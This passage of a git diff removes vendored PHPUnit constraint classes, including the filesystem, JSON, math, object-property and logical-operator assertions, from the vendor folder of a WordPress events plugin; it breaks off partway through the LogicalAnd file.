b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php deleted file mode 100644 index 24268c7d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_dir; -use function sprintf; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class DirectoryExists extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'directory exists'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return is_dir($other); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - return sprintf( - 'directory "%s" exists', - $other, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php deleted file mode 100644 index 6cae9502..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function file_exists; -use function sprintf; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class FileExists extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'file exists'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return file_exists($other); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - return sprintf( - 'file "%s" exists', - $other, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php deleted file mode 100644 index 12436938..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_readable; -use function sprintf; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsReadable extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is readable'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return is_readable($other); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - return sprintf( - '"%s" is readable', - $other, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php deleted file mode 100644 index 8da02076..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_writable; -use function sprintf; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsWritable extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is writable'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return is_writable($other); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - return sprintf( - '"%s" is writable', - $other, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsAnything.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsAnything.php deleted file mode 100644 index db84a743..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsAnything.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use PHPUnit\Framework\ExpectationFailedException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsAnything extends Constraint -{ - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @throws ExpectationFailedException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - return $returnResult ? true : null; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is anything'; - } - - /** - * Counts the number of constraint elements. - */ - public function count(): int - { - return 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php deleted file mode 100644 index 9eb44a99..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php +++ /dev/null @@ -1,127 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function get_class; -use function is_array; -use function is_object; -use function is_string; -use function sprintf; -use PHPUnit\Framework\ExpectationFailedException; -use SebastianBergmann\Comparator\ComparisonFailure; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsIdentical extends Constraint -{ - /** - * @var mixed - */ - private $value; - - public function __construct($value) - { - $this->value = $value; - } - - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - $success = $this->value === $other; - - if ($returnResult) { - return $success; - } - - if (!$success) { - $f = null; - - // if both values are strings, make sure a diff is generated - if (is_string($this->value) && is_string($other)) { - $f = new ComparisonFailure( - $this->value, - $other, - sprintf("'%s'", $this->value), - sprintf("'%s'", $other), - ); - } - - // if both values are array, make sure a diff is generated - if (is_array($this->value) && is_array($other)) { - $f = new ComparisonFailure( - $this->value, - $other, - $this->exporter()->export($this->value), - $this->exporter()->export($other), - ); - } - - $this->fail($other, $description, $f); - } - - return null; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - if (is_object($this->value)) { - return 'is identical to an object of class "' . - get_class($this->value) . '"'; - } - - return 'is identical to ' . $this->exporter()->export($this->value); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - if (is_object($this->value) && is_object($other)) { - return 'two variables reference the same object'; - } - - if (is_string($this->value) && is_string($other)) { - return 'two strings are identical'; - } - - if (is_array($this->value) && is_array($other)) { - return 'two arrays are identical'; - } - - return parent::failureDescription($other); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php deleted file mode 100644 index 6fbd38c3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php +++ /dev/null @@ -1,110 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function json_decode; -use function sprintf; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Util\Json; -use SebastianBergmann\Comparator\ComparisonFailure; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class JsonMatches extends Constraint -{ - /** - * @var string - */ - private $value; - - public function __construct(string $value) - { - $this->value = $value; - } - - /** - * Returns a string representation of the object. - */ - public function toString(): string - { - return sprintf( - 'matches JSON string "%s"', - $this->value, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * This method can be overridden to implement the evaluation algorithm. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - [$error, $recodedOther] = Json::canonicalize($other); - - if ($error) { - return false; - } - - [$error, $recodedValue] = Json::canonicalize($this->value); - - if ($error) { - return false; - } - - return $recodedOther == $recodedValue; - } - - /** - * Throws an exception for the given compared value and test description. - * - * @param mixed $other evaluated value or object - * @param string $description Additional information about the test - * - * @throws Exception - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-return never-return - */ - protected function fail($other, $description, ?ComparisonFailure $comparisonFailure = null): void - { - if ($comparisonFailure === null) { - [$error, $recodedOther] = Json::canonicalize($other); - - if ($error) { - parent::fail($other, $description); - } - - [$error, $recodedValue] = Json::canonicalize($this->value); - - if ($error) { - parent::fail($other, $description); - } - - $comparisonFailure = new ComparisonFailure( - json_decode($this->value), - json_decode($other), - Json::prettify($recodedValue), - Json::prettify($recodedOther), - false, - 'Failed asserting that two json values are equal.', - ); - } - - parent::fail($other, $description, $comparisonFailure); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php deleted file mode 100644 index 4bf19e27..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php +++ /dev/null @@ -1,78 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use const JSON_ERROR_CTRL_CHAR; -use const JSON_ERROR_DEPTH; -use const JSON_ERROR_NONE; -use const JSON_ERROR_STATE_MISMATCH; -use const JSON_ERROR_SYNTAX; -use const JSON_ERROR_UTF8; -use function strtolower; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class JsonMatchesErrorMessageProvider -{ - /** - * Translates JSON error to a human readable string. - */ - public static function determineJsonError(string $error, string $prefix = ''): ?string - { - switch ($error) { - case JSON_ERROR_NONE: - return null; - - case JSON_ERROR_DEPTH: - return $prefix . 'Maximum stack depth exceeded'; - - case JSON_ERROR_STATE_MISMATCH: - return $prefix . 'Underflow or the modes mismatch'; - - case JSON_ERROR_CTRL_CHAR: - return $prefix . 'Unexpected control character found'; - - case JSON_ERROR_SYNTAX: - return $prefix . 'Syntax error, malformed JSON'; - - case JSON_ERROR_UTF8: - return $prefix . 'Malformed UTF-8 characters, possibly incorrectly encoded'; - - default: - return $prefix . 'Unknown error'; - } - } - - /** - * Translates a given type to a human readable message prefix. - */ - public static function translateTypeToPrefix(string $type): string - { - switch (strtolower($type)) { - case 'expected': - $prefix = 'Expected value JSON decode error - '; - - break; - - case 'actual': - $prefix = 'Actual value JSON decode error - '; - - break; - - default: - $prefix = ''; - - break; - } - - return $prefix; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php deleted file mode 100644 index 9a2f3286..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_finite; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsFinite extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is finite'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return is_finite($other); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php deleted file mode 100644 index c718514c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_infinite; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsInfinite extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is infinite'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return is_infinite($other); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php deleted file mode 100644 index 0062c5b5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_nan; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsNan extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is nan'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return is_nan($other); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php deleted file mode 100644 index 40e1d614..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php +++ /dev/null @@ -1,90 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function get_class; -use function is_object; -use function sprintf; -use PHPUnit\Framework\Exception; -use ReflectionClass; -use ReflectionException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ -class ClassHasAttribute extends Constraint -{ - /** - * @var string - */ - private $attributeName; - - public function __construct(string $attributeName) - { - $this->attributeName = $attributeName; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return sprintf( - 'has attribute "%s"', - $this->attributeName, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - try { - return (new ReflectionClass($other))->hasProperty($this->attributeName); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - return sprintf( - '%sclass "%s" %s', - is_object($other) ? 'object of ' : '', - is_object($other) ? get_class($other) : $other, - $this->toString(), - ); - } - - protected function attributeName(): string - { - return $this->attributeName; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php deleted file mode 100644 index bd5eefe4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php +++ /dev/null @@ -1,61 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function sprintf; -use PHPUnit\Framework\Exception; -use ReflectionClass; -use ReflectionException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ -final class ClassHasStaticAttribute extends ClassHasAttribute -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return sprintf( - 'has static attribute "%s"', - $this->attributeName(), - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - try { - $class = new ReflectionClass($other); - - if ($class->hasProperty($this->attributeName())) { - return $class->getProperty($this->attributeName())->isStatic(); - } - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php deleted file mode 100644 index b837b4cd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php +++ /dev/null @@ -1,151 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function get_class; -use function is_object; -use PHPUnit\Framework\ActualValueIsNotAnObjectException; -use PHPUnit\Framework\ComparisonMethodDoesNotAcceptParameterTypeException; -use PHPUnit\Framework\ComparisonMethodDoesNotDeclareBoolReturnTypeException; -use PHPUnit\Framework\ComparisonMethodDoesNotDeclareExactlyOneParameterException; -use PHPUnit\Framework\ComparisonMethodDoesNotDeclareParameterTypeException; -use PHPUnit\Framework\ComparisonMethodDoesNotExistException; -use ReflectionNamedType; -use ReflectionObject; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class ObjectEquals extends Constraint -{ - /** - * @var object - */ - private $expected; - - /** - * @var string - */ - private $method; - - public function __construct(object $object, string $method = 'equals') - { - $this->expected = $object; - $this->method = $method; - } - - public function toString(): string - { - return 'two objects are equal'; - } - - /** - * @throws ActualValueIsNotAnObjectException - * @throws ComparisonMethodDoesNotAcceptParameterTypeException - * @throws ComparisonMethodDoesNotDeclareBoolReturnTypeException - * @throws ComparisonMethodDoesNotDeclareExactlyOneParameterException - * @throws ComparisonMethodDoesNotDeclareParameterTypeException - * @throws ComparisonMethodDoesNotExistException - */ - protected function matches($other): bool - { - if (!is_object($other)) { - throw new ActualValueIsNotAnObjectException; - } - - $object = new ReflectionObject($other); - - if (!$object->hasMethod($this->method)) { - throw new ComparisonMethodDoesNotExistException( - get_class($other), - $this->method, - ); - } - - /** @noinspection PhpUnhandledExceptionInspection */ - $method = $object->getMethod($this->method); - - if (!$method->hasReturnType()) { - throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( - get_class($other), - $this->method, - ); - } - - $returnType = $method->getReturnType(); - - if (!$returnType instanceof ReflectionNamedType) { - throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( - get_class($other), - $this->method, - ); - } - - if ($returnType->allowsNull()) { - throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( - get_class($other), - $this->method, - ); - } - - if ($returnType->getName() !== 'bool') { - throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( - get_class($other), - $this->method, - ); - } - - if ($method->getNumberOfParameters() !== 1 || $method->getNumberOfRequiredParameters() !== 1) { - throw new ComparisonMethodDoesNotDeclareExactlyOneParameterException( - get_class($other), - $this->method, - ); - } - - $parameter = $method->getParameters()[0]; - - if (!$parameter->hasType()) { - throw new ComparisonMethodDoesNotDeclareParameterTypeException( - get_class($other), - $this->method, - ); - } - - $type = $parameter->getType(); - - if (!$type instanceof ReflectionNamedType) { - throw new ComparisonMethodDoesNotDeclareParameterTypeException( - get_class($other), - $this->method, - ); - } - - $typeName = $type->getName(); - - if ($typeName === 'self') { - $typeName = get_class($other); - } - - if (!$this->expected instanceof $typeName) { - throw new ComparisonMethodDoesNotAcceptParameterTypeException( - get_class($other), - $this->method, - get_class($this->expected), - ); - } - - return $other->{$this->method}($this->expected); - } - - protected function failureDescription($other): string - { - return $this->toString(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php deleted file mode 100644 index 602cb05d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use ReflectionObject; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ -final class ObjectHasAttribute extends ClassHasAttribute -{ - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return (new ReflectionObject($other))->hasProperty($this->attributeName()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasProperty.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasProperty.php deleted file mode 100644 index c41d21a1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasProperty.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function get_class; -use function gettype; -use function is_object; -use function sprintf; -use ReflectionObject; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class ObjectHasProperty extends Constraint -{ - /** - * @var string - */ - private $propertyName; - - public function __construct(string $propertyName) - { - $this->propertyName = $propertyName; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return sprintf( - 'has property "%s"', - $this->propertyName, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - if (!is_object($other)) { - return false; - } - - return (new ReflectionObject($other))->hasProperty($this->propertyName); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - if (is_object($other)) { - return sprintf( - 'object of class "%s" %s', - get_class($other), - $this->toString(), - ); - } - - return sprintf( - '"%s" (%s) %s', - $other, - gettype($other), - $this->toString(), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php deleted file mode 100644 index 11c86b52..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php +++ /dev/null @@ -1,148 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function array_map; -use function array_values; -use function count; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -abstract class BinaryOperator extends Operator -{ - /** - * @var Constraint[] - */ - private $constraints = []; - - public static function fromConstraints(Constraint ...$constraints): self - { - $constraint = new static; - - $constraint->constraints = $constraints; - - return $constraint; - } - - /** - * @param mixed[] $constraints - */ - public function setConstraints(array $constraints): void - { - $this->constraints = array_map(function ($constraint): Constraint - { - return $this->checkConstraint($constraint); - }, array_values($constraints)); - } - - /** - * Returns the number of operands (constraints). - */ - final public function arity(): int - { - return count($this->constraints); - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - $reduced = $this->reduce(); - - if ($reduced !== $this) { - return $reduced->toString(); - } - - $text = ''; - - foreach ($this->constraints as $key => $constraint) { - $constraint = $constraint->reduce(); - - $text .= $this->constraintToString($constraint, $key); - } - - return $text; - } - - /** - * Counts the number of constraint elements. - */ - public function count(): int - { - $count = 0; - - foreach ($this->constraints as $constraint) { - $count += count($constraint); - } - - return $count; - } - - /** - * Returns the nested constraints. - */ - final protected function constraints(): array - { - return $this->constraints; - } - - /** - * Returns true if the $constraint needs to be wrapped with braces. - */ - final protected function constraintNeedsParentheses(Constraint $constraint): bool - { - return $this->arity() > 1 && parent::constraintNeedsParentheses($constraint); - } - - /** - * Reduces the sub-expression starting at $this by skipping degenerate - * sub-expression and returns first descendant constraint that starts - * a non-reducible sub-expression. - * - * See Constraint::reduce() for more. - */ - protected function reduce(): Constraint - { - if ($this->arity() === 1 && $this->constraints[0] instanceof Operator) { - return $this->constraints[0]->reduce(); - } - - return parent::reduce(); - } - - /** - * Returns string representation of given operand in context of this operator. - * - * @param Constraint $constraint operand constraint - * @param int $position position of $constraint in this expression - */ - private function constraintToString(Constraint $constraint, int $position): string - { - $prefix = ''; - - if ($position > 0) { - $prefix = (' ' . $this->operator() . ' '); - } - - if ($this->constraintNeedsParentheses($constraint)) { - return $prefix . '( ' . $constraint->toString() . ' )'; - } - - $string = $constraint->toStringInContext($this, $position); - - if ($string === '') { - $string = $constraint->toString(); - } - - return $prefix . $string; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php deleted file mode 100644 index a1af4dd3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class LogicalAnd extends BinaryOperator -{ - /** - * 